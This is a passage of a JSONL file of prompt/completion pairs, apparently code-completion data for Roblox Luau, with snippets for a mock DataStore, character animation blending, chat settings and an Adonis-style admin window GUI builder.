delta)\n\t\tallData[k] = ((allData[k] or 0) + delta)\n\tend\n\tfunction d.RemoveAsync(_s, k)\n\t\tdataStore:RemoveAsync(k)\n\t\tallData[k] = nil\n\tend\n\tfunction d.GetSortedAsync(_s, isAscending, pageSize, minValue, maxValue)\n\t\tassert(type(pageSize) == \"number\" and math.floor(pageSize) > 0, \"PageSize must be an integer and greater than 0\")\n\t\tassert(minValue == nil or type(minValue) == \"number\", \"MinValue must be a number\")\n\t\tassert(maxValue == nil or type(maxValue) == \"number\", \"MaxValue must be a number\")\n\t\tif (minValue and maxValue) then\n\t\t\tassert(minValue <= maxValue, \"MinValue must be less or equal to MaxValue\")\n\t\tend\n\t\tlocal data = {}\n\t\tfor k,v in pairs(allData) do\n\t\t\tlocal pass = ((not minValue or v >= minValue) and (not maxValue or v <= maxValue))\n\t\t\tif (pass) then\n\t\t\t\ttable.insert(data, {key = k, value = v})\n\t\t\tend\n\t\tend\n\t\ttable.sort(data,\n\t\t\t(isAscending and\n\t\t\t\tfunction(a, b) return (a.value < b.value) end\n\t\t\tor\n\t\t\t\tfunction(a, b) return (b.value < a.value) end\n\t\t\t)\n\t\t)\n\t\tpageSize = math.floor(pageSize)\n\t\tlocal pages = {IsFinished = false}\n\t\tfor i,v in pairs(data) do\n\t\t\tlocal pageNum = math.ceil(i / pageSize)\n\t\t\tlocal page = pages[pageNum]\n\t\t\tif (not page) then\n\t\t\t\tpage = {}\n\t\t\t\tpages[pageNum] = page\n\t\t\tend\n\t\t\tlocal index = (((i - 1) % pageSize) + 1)\n\t\t\tpage[index] = v\n\t\tend\n\t\tdo\n\t\t\tlocal currentPage = 1\n\t\t\tfunction pages.GetCurrentPage(p)\n\t\t\t\treturn p[currentPage]\n\t\t\tend\n\t\t\tfunction pages.AdvanceToNextPageAsync(p)\n\t\t\t\tlocal numPages = #pages\n\t\t\t\tif (currentPage < numPages) then\n\t\t\t\t\tcurrentPage = (currentPage + 1)\n\t\t\t\tend\n\t\t\t\tp.IsFinished = (currentPage >= numPages)\n\t\t\tend\n\t\tend\n\t\treturn pages\n\tend\n\treturn d\nend\n\n\nfunction API:GetRequestBudgetForRequestType(requestType)\n\treturn realDataStoreService:GetRequestBudgetForRequestType(requestType)\nend\n\n"} +{"prompt": "--#Constants", "completion": "\nlocal rate = 0.2\nlocal minSpeed, topSpeed = configuration.AcceleratedWalking.MinSpeed.Value, configuration.AcceleratedWalking.MaxSpeed.Value\nlocal increment = configuration.AcceleratedWalking.Increment.Value\nlocal noMovement = Vector3.new(0,0,0)\n"} +{"prompt": "-- config", "completion": "\nlocal config = {\n\tposition = 0, -- 0 = Horizontal, 1 = Vertical\n\tpadding = 5\n}\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\n\t-- clean up walk if there is one\n\tif (runAnimKeyframeHandler ~= nil) then\n\t\trunAnimKeyframeHandler:disconnect()\n\tend\n\t\n\tif (runAnimTrack ~= nil) then\n\t\trunAnimTrack:Stop()\n\t\trunAnimTrack:Destroy()\n\t\trunAnimTrack = nil\n\tend\n\t\n\treturn oldAnim\nend\n\nlocal smallButNotZero = 0.0001\nfunction setRunSpeed(speed)\n\tif speed < 0.33 then\n\t\tcurrentAnimTrack:AdjustWeight(1.0)\t\t\n\t\trunAnimTrack:AdjustWeight(smallButNotZero)\n\telseif speed < 0.66 then\n\t\tlocal weight = ((speed - 0.33) / 0.33)\n\t\tcurrentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)\n\t\trunAnimTrack:AdjustWeight(weight + smallButNotZero)\n\telse\n\t\tcurrentAnimTrack:AdjustWeight(smallButNotZero)\n\t\trunAnimTrack:AdjustWeight(1.0)\n\tend\n\t\n\tlocal speedScaled = speed * 1.25\n\trunAnimTrack:AdjustSpeed(speedScaled)\n\tcurrentAnimTrack:AdjustSpeed(speedScaled)\n\t\n\tif ( CurrentToyAnimation ~= nil ) then\n\t\tCurrentToyAnimation:AdjustSpeed(speedScaled)\n\tend\n\t\nend\n\n\nfunction setAnimationSpeed(speed)\n\t\n\t-- Check difference\n\tlocal MaxDifference = .5;\n\tlocal Difference = math.abs(( currentAnimSpeed - speed ));\n\t\n\tif ( Difference < MaxDifference ) then\n\t\treturn;\n\tend\n\t\n\tif speed ~= currentAnimSpeed then\n\t\tcurrentAnimSpeed = speed\n\t\tif currentAnim == \"walk\" then\n\t\t\tsetRunSpeed(speed)\n\t\telse\n\t\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\t\tend\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)"} +{"prompt": "-- turn off console glow by default\n--welcomeConsoleGlow.Brightness = 0", "completion": "\n"} +{"prompt": "---[[ Chat Behaviour Settings ]]", "completion": "\nmodule.WindowDraggable = false\nmodule.WindowResizable = true\nmodule.ShowChannelsBar = false\nmodule.GamepadNavigationEnabled = false\nmodule.AllowMeCommand = true -- Me Command will only be effective when this set to true\nmodule.ShowUserOwnFilteredMessage = true\t--Show a user the filtered version of their message rather than the original."} +{"prompt": "--\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tif (runAnimTrack ~= nil) then\n\t\t\trunAnimTrack:Stop(transitionTime)\n\t\t\trunAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\t\t\n\t\t-- check to see if we need to blend a walk/run animation\n\t\tif animName == \"walk\" then\n\t\t\tlocal runAnimName = \"run\"\n\t\t\tlocal runIdx = rollAnimation(runAnimName)\n\n\t\t\trunAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)\t\t \n\t\t\trunAnimTrack:Play(transitionTime)\t\t\n\t\t\t\n\t\t\tif (runAnimKeyframeHandler ~= nil) then\n\t\t\t\trunAnimKeyframeHandler:disconnect()\n\t\t\tend\n\t\t\trunAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\t\n\t\tend\n\t\t\n\t\tif ( animName == \"walk\" ) then\n\t\t\tplayToyAnimation(\"Run\");\n\t\telseif ( animName == \"idle\" ) then\n\t\t\tplayToyAnimation(\"Idle\");\n\t\tend\n\t\t\n\t\t\n\tend\n\nend\n"} +{"prompt": "--// Holstering", "completion": "\n\tHolsteringEnabled = false;\n\tHolsterPos = CFrame.new(0.140751064, 0, -0.616261482, -4.10752676e-08, -0.342020065, 0.939692616, -1.49501727e-08, 0.939692557, 0.342020094, -0.99999994, 0, -4.37113847e-08);\n"} +{"prompt": "-- A state object whose value is derived from other objects using a callback.", "completion": "\nexport type ForValues = StateObject<{ [K]: VO }> & Dependent & {\n\t-- kind: \"ForKeys\" (add this when Luau supports singleton types)\n}\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\nreturn function(data)\n\t--local client = service.GarbleTable(client)\n\tlocal Player = service.Players.LocalPlayer\n\tlocal Mouse = Player:GetMouse()\n\tlocal InputService = service.UserInputService\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\n\tlocal Event = gTable.BindEvent\n\tlocal GUI = gTable.Object\n\tlocal Name = data.Name\n\tlocal Icon = data.Icon\n\tlocal Size = data.Size\n\tlocal Menu = data.Menu\n\tlocal Title = data.Title\n\tlocal Ready = data.Ready\n\tlocal Walls = data.Walls\n\tlocal noHide = data.NoHide\n\tlocal noClose = data.NoClose\n\tlocal onReady = data.OnReady\n\tlocal onClose = data.OnClose\n\tlocal onResize = data.OnResize\n\tlocal onRefresh = data.OnRefresh\n\tlocal onMinimize = data.OnMinimize\n\tlocal ContextMenu = data.ContextMenu\n\tlocal ResetOnSpawn = data.ResetOnSpawn\n\tlocal CanKeepAlive = data.CanKeepAlive\n\tlocal iconClicked = data.IconClicked\n\tlocal SizeLocked = data.SizeLocked or data.SizeLock\n\tlocal CanvasSize = data.CanvasSize\n\tlocal Position = data.Position\n\tlocal Content = data.Content or data.Children\n\tlocal MinSize = data.MinSize or {150, 50}\n\tlocal MaxSize = data.MaxSize or {math.huge, math.huge}\n\tlocal curIcon = Mouse.Icon\n\tlocal isClosed = false\n\tlocal Resizing = false\n\tlocal Refreshing = false\n\tlocal DragEnabled = true\n\tlocal checkProperty = service.CheckProperty\n\tlocal specialInsts = {}\n\tlocal inExpandable\n\tlocal addTitleButton\n\tlocal LoadChildren\n\tlocal BringToFront\n\n\tlocal Drag = GUI.Drag\n\tlocal Close = Drag.Close\n\tlocal Hide = Drag.Hide\n\tlocal Iconf = Drag.Icon\n\tlocal Titlef = Drag.Title\n\tlocal Refresh = Drag.Refresh\n\tlocal rSpinner = Refresh.Spinner\n\tlocal Main = Drag.Main\n\tlocal Tooltip = GUI.Desc\n\tlocal ScrollFrame = GUI.Drag.Main.ScrollingFrame\n\tlocal LeftSizeIcon = Main.LeftResizeIcon\n\tlocal RightSizeIcon = Main.RightResizeIcon\n\tlocal RightCorner = Main.RightCorner\n\tlocal LeftCorner = Main.LeftCorner\n\tlocal RightSide = Main.RightSide\n\tlocal LeftSide = Main.LeftSide\n\tlocal TopRight = Main.TopRight\n\tlocal TopLeft = Main.TopLeft\n\tlocal Bottom = Main.Bottom\n\tlocal Top = Main.Top\n\n\tfunction Expand(ent, point, text, richText)\n\t\tlocal label = point:FindFirstChild(\"Label\")\n\n\t\tif label then\n\t\t\tent.MouseLeave:Connect(function(x,y)\n\t\t\t\tif inExpandable == ent then\n\t\t\t\t\tpoint.Visible = false\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tent.MouseMoved:Connect(function(x,y)\n\t\t\t\tinExpandable = ent\n\t\t\t\t\n\t\t\t\tlocal text = text or ent.Desc.Value\n\t\t\t\tlabel.Text = text\n\t\t\t\tlabel.RichText = richText\n\t\t\t\tlabel.TextScaled = richText\n\t\t\t\t\n\t\t\t\tlocal sizeText = label.ContentText\n\n\t\t\t\tlocal maxWidth = 400\n\t\t\t\tlocal bounds = service.TextService:GetTextSize(sizeText, label.TextSize, label.Font, Vector2.new(maxWidth, math.huge))\n\t\t\t\t\n\t\t\t\tlocal sizeX, sizeY = bounds.X + 10, bounds.Y + 10\n\t\t\t\tlocal posX = (x + 6 + sizeX) < GUI.AbsoluteSize.X and (x + 6) or (x - 6 - sizeX) \n\t\t\t\tlocal posY = (y - 6 - sizeY) > 0 and (y - 6 - sizeY) or (y) \n\t\t\t\t\n\t\t\t\tpoint.Size = UDim2.new(0, sizeX, 0, sizeY)\n\t\t\t\tpoint.Position = UDim2.new(0, posX, 0, posY)\n\t\t\t\tpoint.Visible = true\n\t\t\tend)\n\t\tend\n\tend\n\n\tfunction getNextPos(frame)\n\t\tlocal farXChild, farYChild\n\t\tfor i,v in next,frame:GetChildren() do\n\t\t\tif checkProperty(v, \"Size\") then\n\t\t\t\tif not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then\n\t\t\t\t\tfarXChild = v\n\t\t\t\tend\n\n\t\t\t\tif not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then\n\t\t\t\t\tfarYChild = v\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\treturn ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y)\n\tend\n\n\tfunction LoadChildren(Obj, Children)\n\t\tif Children then\n\t\t\tlocal runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj)\n\t\t\tfor class,data in next,Children do\n\t\t\t\tif type(data) == \"table\" then\n\t\t\t\t\tif not data.Parent then data.Parent = Obj end\n\t\t\t\t\tcreate(data.Class or data.ClassName or class, data)\n\t\t\t\telseif type(data) == \"function\" or type(data) == \"string\" and not runWhenDone then\n\t\t\t\t\trunWhenDone = functionify(data, Obj)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif runWhenDone then\n\t\t\t\trunWhenDone(Obj)\n\t\t\tend\n\t\tend\n\tend\n\n\tfunction BringToFront()\n\t\tfor i,v in ipairs(Player.PlayerGui:GetChildren()) do\n\t\t\tif v:FindFirstChild(\"__ADONIS_WINDOW\") then\n\t\t\t\tv.DisplayOrder = 100\n\t\t\tend\n\t\tend\n\n\t\tGUI.DisplayOrder = 101\n\tend\n\n\tfunction addTitleButton(data)\n\t\tlocal startPos = 1\n\t\tlocal realPos\n\t\tlocal new\n\t\tlocal original = Hide\n\t\tlocal diff = (Hide.AbsolutePosition.X + Hide.AbsoluteSize.X) - Close.AbsolutePosition.X;\n\t\tlocal far = Close;\n\n\t\tfor i,obj in ipairs(Drag:GetChildren()) do\n\t\t\tif obj:IsA(\"TextButton\") then\n\t\t\t\tif obj.Visible and obj.AbsolutePosition.X < far.AbsolutePosition.X then\n\t\t\t\t\tfar = obj;\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tlocal size = data.Size or original.Size;\n\t\tlocal xPos = far.Position.X.Offset - (size.X.Offset - diff);\n\t\trealPos = UDim2.new(far.Position.X.Scale, xPos, original.Position.Y.Scale, original.Position.Y.Offset)\n\n\t\tdata.Name = \"__TITLEBUTTON\"\n\t\tdata.Size = size\n\t\tdata.Parent = Drag\n\t\tdata.ZIndex = data.ZIndex or original.ZIndex\n\t\tdata.Position = data.Position or realPos\n\t\tdata.TextSize = data.TextSize or original.TextSize\n\t\tdata.TextColor3 = data.TextColor3 or original.TextColor3\n\t\tdata.TextScaled = data.TextScaled or original.TextScaled\n\t\tdata.TextScaled = data.TextScaled or original.TextScaled\n\t\tdata.TextWrapped = data.TextWrapped or original.TextWrapped\n\t\tdata.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3\n\t\tdata.TextTransparency = data.TextTransparency or original.TextTransparency\n\t\tdata.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency\n\t\tdata.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency\n\t\tdata.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3\n\t\tdata.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel\n\t\t--data.TextXAlignment = data.TextXAlignment or original.TextXAlignment\n\t\t--data.TextYAlignment = data.TextYAlignment or original.TextYAlignment\n\t\tdata.Font = data.Font or original.Font\n\n\t\treturn create(\"TextButton\", data)\n\tend\n\n\tfunction functionify(func, object)\n\t\tif type(func) == \"string\" then\n\t\t\tif object then\n\t\t\t\tlocal env = GetEnv()\n\t\t\t\tenv.Object = object\n\t\t\t\treturn client.Core.LoadCode(func, env)\n\t\t\telse\n\t\t\t\treturn client.Core.LoadCode(func)\n\t\t\tend\n\t\telse\n\t\t\treturn func\n\t\tend\n\tend\n\n\tfunction create(class, dataFound, existing)\n\t\tlocal data = dataFound or {}\n\t\tlocal class = data.Class or data.ClassName or class\n\t\tlocal new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class)\n\t\tlocal parent = data.Parent or new.Parent\n\n\t\tif dataFound then\n\t\t\tdata.Parent = nil\n\n\t\t\tif data.Class or data.ClassName then\n\t\t\t\tdata.Class = nil\n\t\t\t\tdata.ClassName = nil\n\t\t\tend\n\n\t\t\tif not data.BorderColor3 and checkProperty(new, \"BorderColor3\") then\n\t\t\t\tnew.BorderColor3 = dBorder\n\t\t\tend\n\n\t\t\tif not data.CanvasSize and checkProperty(new, \"CanvasSize\") then\n\t\t\t\tnew.CanvasSize = dCanvasSize\n\t\t\tend\n\n\t\t\tif not data.BorderSizePixel and checkProperty(new, \"BorderSizePixel\") then\n\t\t\t\tnew.BorderSizePixel = dPixelSize\n\t\t\tend\n\n\t\t\tif not data.BackgroundColor3 and checkProperty(new, \"BackgroundColor3\") then\n\t\t\t\tnew.BackgroundColor3 = dBackground\n\t\t\tend\n\n\t\t\tif not data.PlaceholderColor3 and checkProperty(new, \"PlaceholderColor3\") then\n\t\t\t\tnew.PlaceholderColor3 = dPlaceholderColor\n\t\t\tend\n\n\t\t\tif not data.Transparency and not data.BackgroundTransparency and checkProperty(new, \"Transparency\") and checkProperty(new, \"BackgroundTransparency\") then\n\t\t\t\tnew.BackgroundTransparency = dTransparency\n\t\t\telseif data.Transparency and checkProperty(new, \"BackgroundTransparency\") then\n\t\t\t\tnew.BackgroundTransparency = data.Transparency\n\t\t\tend\n\n\t\t\tif not data.TextColor3 and not data.TextColor and checkProperty(new, \"TextColor3\") then\n\t\t\t\tnew.TextColor3 = dTextColor\n\t\t\telseif data.TextColor then\n\t\t\t\tnew.TextColor3 = data.TextColor\n\t\t\tend\n\n\t\t\tif not data.Font and checkProperty(new, \"Font\") then\n\t\t\t\tdata.Font = dFont\n\t\t\tend\n\n\t\t\tif not data.TextSize and checkProperty(new, \"TextSize\") then\n\t\t\t\tdata.TextSize = dTextSize\n\t\t\tend\n\n\t\t\tif not data.BottomImage and not data.MidImage and not data.TopImage and class == \"ScrollingFrame\" then\n\t\t\t\tnew.BottomImage = dScrollImage\n\t\t\t\tnew.MidImage = dScrollImage\n\t\t\t\tnew.TopImage = dScrollImage\n\t\t\tend\n\n\t\t\tif not data.Size and checkProperty(new, \"Size\") then\n\t\t\t\tnew.Size = dSize\n\t\t\tend\n\n\t\t\tif not data.Position and checkProperty(new, \"Position\") then\n\t\t\t\tnew.Position = dPosition\n\t\t\tend\n\n\t\t\tif not data.ZIndex and checkProperty(new, \"ZIndex\") then\n\t\t\t\tnew.ZIndex = dZIndex\n\t\t\t\tif parent and checkProperty(parent, \"ZIndex\") then\n\t\t\t\t\tnew.ZIndex = parent.ZIndex\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif data.TextChanged and class == \"TextBox\" then\n\t\t\t\tlocal textChanged = functionify(data.TextChanged, new)\n\t\t\t\tnew.FocusLost:Connect(function(enterPressed)\n\t\t\t\t\ttextChanged(new.Text, enterPressed, new)\n\t\t\t\tend)\n\t\t\tend\n\n\t\t\tif (data.OnClicked or data.OnClick) and (class == \"TextButton\" or class == \"ImageButton\") then\n\t\t\t\tlocal debounce = false;\n\t\t\t\tlocal doDebounce = data.Debounce;\n\t\t\t\tlocal onClick = functionify((data.OnClicked or data.OnClick), new)\n\t\t\t\tnew.MouseButton1Down:Connect(function()\n\t\t\t\t\tif not debounce then\n\t\t\t\t\t\tif doDebounce then\n\t\t\t\t\t\t\tdebounce = true\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tonClick(new)\n\n\t\t\t\t\t\tdebounce = false\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\n\t\t\tif data.Events then\n\t\t\t\tfor event,func in pairs(data.Events) do\n\t\t\t\t\tlocal realFunc = functionify(func, new)\n\t\t\t\t\tEvent(new[event], function(...)\n\t\t\t\t\t\trealFunc(...)\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif data.Visible == nil then\n\t\t\t\tdata.Visible = true\n\t\t\tend\n\n\t\t\tif data.LabelProps then\n\t\t\t\tdata.LabelProperties = data.LabelProps\n\t\t\tend\n\t\tend\n\n\t\tif class == \"Entry\" then\n\t\t\tlocal label = new.Text\n\t\t\tlocal dots = new.Dots\n\t\t\tlocal desc = new.Desc\n\t\t\tlocal richText = data.RichText or label.RichText\n\n\t\t\tlabel.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tdots.ZIndex = data.ZIndex or new.ZIndex\n\n\t\t\tif data.Text then\n\t\t\t\tlabel.Text = data.Text\n\t\t\t\tlabel.Visible = true\n\t\t\t\tdata.Text = nil\n\t\t\tend\n\n\t\t\tif data.Desc or data.ToolTip then\n\t\t\t\tdesc.Value = data.Desc or data.ToolTip\n\t\t\t\tdata.Desc = nil\n\t\t\tend\n\n\t\t\tExpand(new, Tooltip, nil, richText)\n\t\telse\n\t\t\tif data.ToolTip then\n\t\t\t\tExpand(new, Tooltip, data.ToolTip, data.RichText)\n\t\t\tend\n\t\tend\n\n\t\tif class == \"ButtonEntry\" then\n\t\t\tlocal button = new.Button\n\t\t\tlocal debounce = false\n\t\t\tlocal onClicked = functionify(data.OnClicked, button)\n\n\t\t\tnew:SetSpecial(\"DoClick\",function()\n\t\t\t\tif not debounce then\n\t\t\t\t\tdebounce = true\n\t\t\t\t\tif onClicked then\n\t\t\t\t\t\tonClicked(button)\n\t\t\t\t\tend\n\t\t\t\t\tdebounce = false\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tnew.Text = data.Text or new.Text\n\t\t\tbutton.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tbutton.MouseButton1Down:Connect(new.DoClick)\n\t\tend\n\n\t\tif class == \"Boolean\" then\n\t\t\tlocal enabled = data.Enabled\n\t\t\tlocal debounce = false\n\t\t\tlocal onToggle = functionify(data.OnToggle, new)\n\t\t\tlocal function toggle(isEnabled)\n\t\t\t\tif not debounce then\n\t\t\t\t\tdebounce = true\n\t\t\t\t\tif (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then\n\t\t\t\t\t\tenabled = false\n\t\t\t\t\t\tnew.Text = \"Disabled\"\n\t\t\t\t\telseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then\n\t\t\t\t\t\tenabled = true\n\t\t\t\t\t\tnew.Text = \"Enabled\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif onToggle then\n\t\t\t\t\t\tonToggle(enabled, new)\n\t\t\t\t\tend\n\t\t\t\t\tdebounce = false\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t--new.ZIndex = data.ZIndex\n\t\t\tnew.Text = (enabled and \"Enabled\") or \"Disabled\"\n\t\t\tnew.MouseButton1Down:Connect(function()\n\t\t\t\tif onToggle then\n\t\t\t\t\ttoggle()\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tnew:SetSpecial(\"Toggle\",function(ignore, isEnabled) toggle(isEnabled) end)\n\t\tend\n\n\t\tif class == \"StringEntry\" then\n\t\t\tlocal box = new.Box\n\t\t\tlocal ignore\n\n\t\t\tnew.Text = data.Text or new.Text\n\t\t\tbox.ZIndex = data.ZIndex or new.ZIndex\n\n\t\t\tif data.BoxText then\n\t\t\t\tbox.Text = data.BoxText\n\t\t\tend\n\n\t\t\tif data.BoxProperties then\n\t\t\t\tfor i,v in next,data.BoxProperties do\n\t\t\t\t\tif checkProperty(box, i) then\n\t\t\t\t\t\tbox[i] = v\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif data.TextChanged then\n\t\t\t\tlocal textChanged = functionify(data.TextChanged, box)\n\t\t\t\tbox.Changed:Connect(function(p)\n\t\t\t\t\tif p == \"Text\" and not ignore then\n\t\t\t\t\t\ttextChanged(box.Text)\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tbox.FocusLost:Connect(function(enter)\n\t\t\t\t\tlocal change = textChanged(box.Text, true, enter)\n\t\t\t\t\tif change then\n\t\t\t\t\t\tignore = true\n\t\t\t\t\t\tbox.Text = change\n\t\t\t\t\t\tignore = false\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\n\t\t\tnew:SetSpecial(\"SetValue\",function(ignore, newValue) box.Text = newValue end)\n\t\tend\n\n\t\tif class == \"Slider\" then\n\t\t\tlocal mouseIsIn = false\n\t\t\tlocal posValue = new.Percentage\n\t\t\tlocal slider = new.Slider\n\t\t\tlocal bar = new.SliderBar\n\t\t\tlocal drag = new.Drag\n\t\t\tlocal moving = false\n\t\t\tlocal value = 0\n\t\t\tlocal onSlide = functionify(data.OnSlide, new)\n\n\t\t\tbar.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tslider.ZIndex = bar.ZIndex+1\n\t\t\tdrag.ZIndex = slider.ZIndex+1\n\t\t\tdrag.Active = true\n\n\t\t\tif data.Value then\n\t\t\t\tslider.Position = UDim2.new(0.5, -10, 0.5, -10)\n\t\t\t\tdrag.Position = slider.Position\n\t\t\tend\n\n\t\t\tbar.InputBegan:Connect(function(input)\n\t\t\t\tif not moving and input.UserInputType == Enum.UserInputType.MouseButton1 then\n\t\t\t\t\tvalue = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)\n\n\t\t\t\t\tif value < 0 then\n\t\t\t\t\t\tvalue = 0\n\t\t\t\t\telseif value > 1 then\n\t\t\t\t\t\tvalue = 1\n\t\t\t\t\tend\n\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tdrag.Position = slider.Position\n\t\t\t\t\tposValue.Value = value\n\n\t\t\t\t\tif onSlide then\n\t\t\t\t\t\tonSlide(value)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tdrag.DragBegin:Connect(function()\n\t\t\t\tmoving = true\n\t\t\tend)\n\n\t\t\tdrag.DragStopped:Connect(function()\n\t\t\t\tmoving = false\n\t\t\t\tdrag.Position = slider.Position\n\t\t\tend)\n\n\t\t\tdrag.Changed:Connect(function()\n\t\t\t\tif moving then\n\t\t\t\t\tvalue = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)\n\n\t\t\t\t\tif value < 0 then\n\t\t\t\t\t\tvalue = 0\n\t\t\t\t\telseif value > 1 then\n\t\t\t\t\t\tvalue = 1\n\t\t\t\t\tend\n\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tposValue.Value = value\n\n\t\t\t\t\tif onSlide then\n\t\t\t\t\t\tonSlide(value)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tnew:SetSpecial(\"SetValue\",function(ignore, newValue)\n\t\t\t\tif newValue and tonumber(newValue) then\n\t\t\t\t\tvalue = tonumber(newValue)\n\t\t\t\t\tposValue.Value = value\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tdrag.Position = slider.Position\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\n\t\tif class == \"Dropdown\" then\n\t\t\tlocal menu = new.Menu\n\t\t\tlocal downImg = new.Down\n\t\t\tlocal selected = new.dSelected\n\t\t\tlocal options = data.Options\n\t\t\tlocal curSelected = data.Selected or data.Selection\n\t\t\tlocal onSelect = functionify(data.OnSelection or data.OnSelect or function()end)\n\t\t\tlocal textProps = data.TextProperties\n\t\t\tlocal scroller = create(\"ScrollingFrame\", {\n\t\t\t\tParent = menu;\n\t\t\t\tSize = UDim2.new(1, 0, 1, 0);\n\t\t\t\tPosition = UDim2.new(0, 0, 0, 0);\n\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\tZIndex = 100;\n\t\t\t})\n\n\t\t\tmenu.ZIndex = scroller.ZIndex\n\t\t\tmenu.Parent = GUI\n\t\t\tmenu.Visible = false\n\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100);\n\t\t\tmenu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3\n\n\t\t\tif data.TextAlignment then\n\t\t\t\tselected.TextXAlignment = data.TextAlignment\n\t\t\t\tselected.Position = UDim2.new(0, 30, 0, 0);\n\t\t\tend\n\n\t\t\tif data.NoArrow then\n\t\t\t\tdownImg.Visible = false\n\t\t\tend\n\n\t\t\tnew:SetSpecial(\"MenuContainer\", menu)\n\n\t\t\tnew.Changed:Connect(function(p)\n\t\t\t\tif p == \"AbsolutePosition\" and menu.Visible then\n\t\t\t\t\tmenu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)\n\t\t\t\telseif p == \"AbsoluteSize\" or p == \"Parent\" then\n\t\t\t\t\tdownImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0);\n\t\t\t\t\tif data.TextAlignment == \"Right\" then\n\t\t\t\t\t\tdownImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2))\n\t\t\t\t\t\tselected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0);\n\t\t\t\t\telse\n\t\t\t\t\t\tdownImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2))\n\t\t\t\t\tend\n\n\t\t\t\t\tselected.Size = UDim2.new(1, 